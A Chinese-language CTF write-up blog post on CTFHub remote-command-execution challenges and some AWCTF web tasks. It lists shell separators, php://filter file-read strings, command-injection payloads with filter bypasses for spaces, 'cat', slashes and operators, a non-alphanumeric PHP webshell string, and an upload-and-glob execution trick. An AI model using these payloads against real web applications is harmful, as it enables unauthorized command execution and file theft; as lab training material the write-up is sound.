zoukankan      html  css  js  c++  java
  • CTFHub-RCE 思路&AWCTF部分web题

    RCE


    RCE英文全称:remote command/code execute(远程命令/代码执行漏洞);

     
      RCE分为远程命令执行ping和远程代码执行evel。
      漏洞出现的原因:没有在输入口做输入处理。
      我们常见的路由器、防火墙、入侵检测等设备的web管理界面上。
      一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞。
     
      这里涉及到一个ping命令:
      Ping是Windows、Unix和Linux系统下的一个命令。ping也属于一个通信协议,是TCP/IP协议的一部分。利用“ping”命令可以检查网络是否连通,可以很好地帮助我们分析和判定网络故障。
     
      补充一些常用的管道符:
     
      Windows系统支持的管道符如下:
    1. “|”:直接执行后面的语句。
    2. “||”:如果前面的语句执行失败,则执行后面的语句,前面的语句只能为假才行。
    3. “&”:两条命令都执行,如果前面的语句为假则直接执行后面的语句,前面的语句可真可假。
    4. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
    

      Linux系统支持的管道符如下:

    1. “;”:执行完前面的语句再执行后面的语句。
    2. “|”:显示后面语句的执行结果。
    3. “||”:当前面的语句执行出错时,执行后面的语句。
    4. “&”:两条命令都执行,如果前面的语句为假则执行执行后面的语句,前面的语句可真可假。
    5. “&&”:如果前面的语句为假则直接出错,也不执行后面的语句,前面的语句为真则两条命令都执行,前面的语句只能为真。
    

      

    文件包含

     打开靶场之后发现有文件包含,并提示有一个shell.txt

    #request = post + get

    于是构造payload,往ctfhub里传参

     

    php://input

     代码目的是限制只能使用php开头的伪协议

     

    读取源代码

     审代码,照样只能使用php开头的伪协议,说flag在flag里

    这里直接告诉了flag所在位置,考虑使用php伪协议中的filter协议直接提取出flag的内容

    ?file=php://filter/convert.base64-encode/resource=/flag
    

      

     最后的结果base64解码就出来了

    远程包含

     

     offset

    如果提供了此参数,搜索会从字符串该字符数的起始位置开始统计。 如果是负数,搜索会从字符串结尾指定字符数开始。

     

     

     这个好像跟之前那个一样。

    eval执行

     

     如出一辙。

    命令注入

     

    发现直接cat 24608238216603.php 无回显,可能是编码问题。所以,

    命令:

    127.0.0.1&cat 24608238216603.php | base64  
    

      

    base64解码

    过滤cat

     

     过滤了cat,所以

           反斜杠 : 例如  ca flag.php

     
      连接符: 例如   ca''t fla''g.txt

     跟上个题类似,查看源码。

     

    过滤空格

    在 bash 下, 可以用以下字符代替空格:

    <,<>,%20(space),%09(tab),$IFS$9, ${IFS},$IFS  等
    

      

    所以,跟前几个题一样只要把空格部分替换成以上任一个即可

    过滤目录分隔符

     
    这次过滤了目录分割符 / 所以要转到相应目录再进行操作
     
     命令:127.0.0.1&cd flag_is_here;ls 
     
      cd  进入flag_is_here目录,
      ls  显示flag_is_here目录里的内容。

     然后直接

    127.0.0.1&cd flag_is_here;cat flag_25491463815130.php
    

      

    查看源代码

    过滤运算符

    过滤了 | 与 & ,那我们就使用 ; 分隔命令来代替

    127.0.0.1;cat flag_176301717827402.php
    跟前几个一样的,查看源代码

    综合过滤练习

     
     
    这应该是 最后一个了。

     好家伙,过滤了这么多

     url补充表

     

    分隔符可以使用%0a代替
    若直接使用文本框上传命令会导致字符被转义,直接访问URL

    /?ip=127.0.0.1%0als => 127.0.0.1;ls

    查看目录

     接下来要访问flag_is_here,需要绕过空格过滤、flag文字过滤并且显示文件夹的内容

      %09 代替 TAB键 (因为flag被过滤了,所以我们通过TAB来补全flag_is_here) %5c 代替 (用 来分隔开 cat ,因为cat也被过滤了)

     接下来

    /?ip=127.0.0.1%0Acd%09*_is_here%0Aca	%09*_18107462926.php
    

      

    查看源代码

    AWCTF部分web题

     无参数

    https://blog.csdn.net/qq_45781155/article/details/109366816

     data协议

     

     

     data协议 base64

     

     

     

    </dev/null无过滤 

     

     无参数读取文件

     

     参考:https://www.freebuf.com/articles/web/261800.html

     就尝试着找,发现dirname行得通。

     

    发现行不通,需要chdir改工作路径,所以多刷新几次就ok.

     

    不包含数字和字母的webshell

     

    https://www.leavesongs.com/PENETRATION/webshell-without-alphanum.html

     先url输一遍:?shell=$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']');$___=$$__;$_($___[_]);

     然后再hackbar

     

     

     无字母数字命令执行

     

    参考:https://blog.csdn.net/weixin_54515836/article/details/113305690

    附上脚本:

    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>POST数据包POC</title>
    </head>
    <body>
    <form action="http://xxxxxxxxxxxxxxxxxxx.chall.ctf.show/" method="post" enctype="multipart/form-data">
    <!--链接是当前打开的题目链接-->
        <label for="file">文件名:</label>
        <input type="file" name="file" id="file"><br>
        <input type="submit" name="submit" value="提交">
    </form>
    </body>
    </html>

    在这个页面上上传1.php,然后抓包

    #!/bin/sh
    ls

    最后的payload

    ?c=.+/???/????????[@-[]

  • 相关阅读:
    Photoshop 基础七 位图 矢量图 栅格化
    Photoshop 基础六 图层
    Warfare And Logistics UVALive
    Walk Through the Forest UVA
    Airport Express UVA
    Guess UVALive
    Play on Words UVA
    The Necklace UVA
    Food Delivery ZOJ
    Brackets Sequence POJ
  • 原文地址:https://www.cnblogs.com/tac2664/p/14294262.html
Copyright © 2011-2022 走看看